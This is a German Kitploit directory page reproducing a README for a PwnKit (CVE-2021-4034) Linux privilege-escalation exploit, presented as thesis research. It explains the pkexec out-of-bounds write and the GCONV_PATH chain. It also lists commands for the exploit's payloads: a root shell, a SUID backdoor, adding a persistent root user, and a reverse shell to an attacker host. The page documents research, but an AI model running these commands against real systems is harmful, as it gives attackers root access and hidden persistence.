Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-4034 — Advanced Linux Privilege Escalation research on CVE-2021-4034 (PwnKit). Features an optimized exploit with 7 polymorphic payload modes (Interactive Shell, Backdoor, User Creation, Reverse Shell, etc). Portfolio piece focused on memory corruption logic, environment variable manipulation, and anti-forensic techniques. | Kitploit
Tools/GitHubGitHub/devianntsec/cve-2021-4034
Privilege EscalationMemory ForensicsVulnerability AnalysisExploitationPost-ExploitationPenetration TestingLearning & EducationRed TeamingPayload Development

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

Binary Exploitation
GitHubdevianntsec/cve-2021-4034

CVE-2021-4034

Repository anzeigen
11vor 4 MonatenNoch nicht geprüft

Advanced Linux Privilege Escalation research on CVE-2021-4034 (PwnKit). Features an optimized exploit with 7 polymorphic payload modes (Interactive Shell, Backdoor, User Creation, Reverse Shell, etc). Portfolio piece focused on memory corruption logic, environment variable manipulation, and anti-forensic techniques.

Teilen

CVE-2021-4034 — PwnKit Lokale Privilegienausweitung · Masterarbeit Forschung

Platform Language License: MIT Research CVSS

Speicherkorruptions-Schwachstelle im pkexec-Dienstprogramm von polkit
Lokale Privilegienausweitung → root durch Out-of-Bounds-Schreibzugriff
Betroffen: polkit 0.105-31 und früher · Patch: polkit 0.105-33 (Januar 2022)


Interaktive Root-Shell erlangt durch CVE-2021-4034 - PwnKit

Beschreibung

Dieses Repository enthält meine Masterarbeit-Forschung zu CVE-2021-4034, einer Schwachstelle mit hohem Schweregrad (CVSS 7.8) zur lokalen Privilegienausweitung im pkexec-Dienstprogramm von polkit, allgemein bekannt als PwnKit.

Die Schwachstelle entsteht durch einen Out-of-Bounds-Schreibzugriff in der Argumentverarbeitungslogik von pkexec. Wenn pkexec mit einem leeren oder manipulierten argv ausgeführt wird, liest und schreibt es über die Grenzen des argv-Arrays hinaus in das envp-Array, wodurch ein unprivilegierter lokaler Benutzer bösartige Umgebungsvariablen injizieren kann, die anschließend als gemeinsam genutzte Bibliothek geladen werden und beliebigen Code mit Root-Rechten ausführen.

Mein Beitrag

AspektBeschreibung

Repository-Struktur

root@kitploit:~
CVE-2021-4034/
├── README.md                        # Diese Datei
├── LICENSE                          # MIT-Lizenz
│
├── exploit/
│   └── pwnkit.py                    # Erweiterter Exploit mit mehreren Payloads
│
└── docs/
    ├── screenshots/                 # Exploitation-Demonstrationen
    │   ├── 01-pwnkit-shell.png
    │   ├── 02-pwnkit-id.png
    │   ├── 03-pwnkit-whoami.png
    │   ├── 04-pwnkit-backdoor.png
    │   ├── 05-pwnkit-add-user.png
    │   ├── 06-pwnkit-reverse.png
    │   └── 07-pwnkit-custom.png
    │
    └── analysis/
        ├── 01-root-cause.md         # Ursachenanalyse der Schwachstelle
        ├── 02-exploitation-chain.md # Aufschlüsselung der Exploitation-Kette
        └── 03-timeline.md           # CVE-Zeitleiste

Schnellstart

Voraussetzungen

  • Linux-System mit anfälligem polkit (pkexec --version zeigt 0.105 oder früher)
  • GCC-Compiler (apt install gcc)
  • Python 3.6+
  • Normales Benutzerkonto (kein Root erforderlich)
  • Isolierte VM für Tests empfohlen

Verwendung

root@kitploit:~
# Interaktive Root-Shell (Standard)
python3 exploit/pwnkit.py -p shell

# Ausführungskontext überprüfen
python3 exploit/pwnkit.py -p whoami

# Benutzerdefinierten Befehl als Root ausführen
python3 exploit/pwnkit.py -p custom -c "id"

# SUID-Backdoor unter /tmp/.sh erstellen
python3 exploit/pwnkit.py -p backdoor_suid

# Dauerhaften Root-Benutzer hinzufügen
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword

# Reverse Shell
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444

Payload-Referenz


Technischer Überblick

Ursache der Schwachstelle

pkexec verarbeitet sein eigenes argv, um das ausgeführte Programm zu lokalisieren. Wenn es mit argc == 0 (leerer Argumentvektor) aufgerufen wird, schlägt die Grenzprüfung von argv stillschweigend fehl. Der anschließende Out-of-Bounds-Lesevorgang behandelt envp[0] als argv[1], und der Out-of-Bounds-Schreibzugriff zurück in envp ermöglicht es einem Angreifer, eine Umgebungsvariable durch einen manipulierten Pfad zu ersetzen. Wenn pkexec später g_printerr() aufruft, lädt es GCONV_PATH aus der nun vom Angreifer kontrollierten Umgebung und lädt eine vom Angreifer bereitgestellte gemeinsam genutzte Bibliothek mit Root-Rechten.

root@kitploit:~
argc == 0  →  argv[1] reads envp[0]
             argv[1] = "GCONV_PATH=."  (writes back into envp)
             pkexec loads ./pwnkit.so  (attacker-controlled shared library)
             gconv_init() executes as root

Exploitation-Kette

root@kitploit:~
1. Craft argv = { NULL }  →  argc = 0, triggers OOB access
2. Set envp[0] = "pwnkit.so:."
3. Set envp[1] = "PATH=GCONV_PATH=."
4. pkexec OOB-writes "pwnkit.so:." into envp[0] as if it were argv[1]
5. pkexec resolves GCONV_PATH=. and loads gconv-modules
6. gconv-modules maps "PWNKIT" charset to pwnkit.so
7. pwnkit.so:gconv_init() called with root privileges
8. Payload executes (shell / backdoor / reverse shell / etc.)

Wichtige technische Details


Demonstrationen

Interaktive Root-Shell

Interaktive Shell

ID-Überprüfung

ID-Payload

Whoami-Überprüfung

Whoami-Payload

SUID-Backdoor

Backdoor-Payload

Root-Benutzer hinzufügen

Root-Benutzer hinzufügen

Reverse Shell

Reverse Shell

Benutzerdefinierter Befehl

Benutzerdefinierter Payload


Empirische Tests

Alle Tests wurden auf einer isolierten VirtualBox-VM mit Ubuntu 20.04 LTS und polkit 0.105-26 (anfällig) ohne Netzwerkzugriff durchgeführt.


Technische Dokumentation

DokumentBeschreibung
UrsachenanalyseOut-of-Bounds-Schreibzugriff in der Argumentverarbeitung von pkexec

Akademischer Kontext

Diese Forschung ist Teil meiner Masterarbeit in Cybersicherheit (UCAM — Campus Internacional de Ciberseguridad), die N-Day-Schwachstellen in mehreren Umgebungen analysiert.

Diese CVE repräsentiert den Vektor der Linux-lokalen Privilegienausweitung innerhalb der Arbeit und demonstriert:

  • Speichersicherheitsschwachstellen in SUID-Binärdateien
  • Out-of-Bounds-Schreibausnutzung durch Manipulation von Umgebungsvariablen
  • Injection von gemeinsam genutzten Bibliotheken über die glibc-iconv-Infrastruktur
  • Multi-Payload-Post-Exploitation-Framework-Design

Schlüsselwörter: LPE · Polkit · pkexec · SUID · GCONV_PATH · CVE-2021-4034 · PwnKit


Autor

Annais Molina (devianntsec) — Masterstudent in Cybersicherheit

GitHub LinkedIn Email


Danksagungen

  • Qualys Research Team — Ursprüngliche Entdeckung und verantwortungsvolle Offenlegung
  • arthepsy — Früher Proof-of-Concept-Referenz
  • berdav — Öffentliche PoC-Referenzimplementierung

Lizenz

MIT-Lizenz — siehe LICENSE


Rechtlicher Hinweis

Dieses Repository wird nur zu Bildungs- und Sicherheitsforschungszwecken im Rahmen einer akademischen Masterarbeit bereitgestellt. Alle Tests wurden auf isolierten virtuellen Maschinen ohne Netzwerkzugriff durchgeführt. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Unbefugte Nutzung gegen Systeme ist illegal und kann strafrechtlich verfolgt werden.

© 2026 Annais Molina · Masterarbeit in Cybersicherheit
UCAM Universidad Católica San Antonio de Murcia · Campus Internacional de Ciberseguridad
Tool herunterladen
Multi-Payload-Exploit
Python-Wrapper mit 6 Payload-Modi, darunter Shell, ID, Backdoor und Reverse Shell
Automatisierte UmgebungseinrichtungAutomatischer Aufbau von GCONV_PATH und Konfiguration von gconv-modules
Post-Exploitation-ModuleSUID-Backdoor, Root-Benutzererstellung und benutzerdefinierte Befehlsausführung
Akademische DokumentationUrsachenanalyse, Exploitation-Kette und Schwachstellen-Zeitleiste
PayloadBeschreibungAusgabe
shellStartet interaktives /bin/sh als RootInteraktive Shell
idSchreibt id- und whoami-Ausgabe nach /tmp/pwnkit_id.txtDatei
whoamiSchreibt UID/eUID-Überprüfung nach /tmp/pwnkit_root_testDatei
backdoor_suidErstellt SUID-Root-Bash-Kopie unter /tmp/.shDauerhafte Backdoor
add_root_userHängt benutzerdefinierten Benutzer an /etc/passwd anDauerhafter Zugriff
reverse_shellStellt Rückverbindung zum Angreifer über Python herRemote-Shell
customFührt beliebigen Befehl als Root ausStdout / Datei
KomponenteWertAnmerkungen
Anfällige Binärdatei/usr/bin/pkexecSUID root
Auslösebedingungargc == 0Leeres argv
Schreib-PrimitiveOOB-Schreibzugriff in envpÜber argv[argc-1]
LademechanismusGCONV_PATH + gconv-modulesStandard glibc iconv
Ausführungskontextgconv_init() in gemeinsam genutzter BibliothekLäuft als EUID 0
Betroffene Versionenpolkit ≤ 0.105-31Alle gängigen Linux-Distributionen
PayloadErgebnisAnmerkungen
shell✅ Root-Shell erlangtSofortiger interaktiver Zugriff
id✅ uid=0(root) bestätigtAusgabe in /tmp/pwnkit_id.txt
whoami✅ root bestätigtUID/eUID = 0
backdoor_suid✅ SUID-Bit auf /tmp/.sh gesetztDauerhaft nach Exploit
add_root_user✅ Benutzerdefinierter Benutzer erstelltÜberlebt Neustart
reverse_shell✅ Verbindung hergestelltPython-Reverse-Shell funktioniert
custom✅ Beliebige BefehlsausführungVoller Root-Kontext
Exploitation-Kette
Schritt-für-Schritt-Aufschlüsselung der GCONV_PATH-Injektion
CVE-ZeitleisteEntdeckungs-, Offenlegungs- und Patch-Chronologie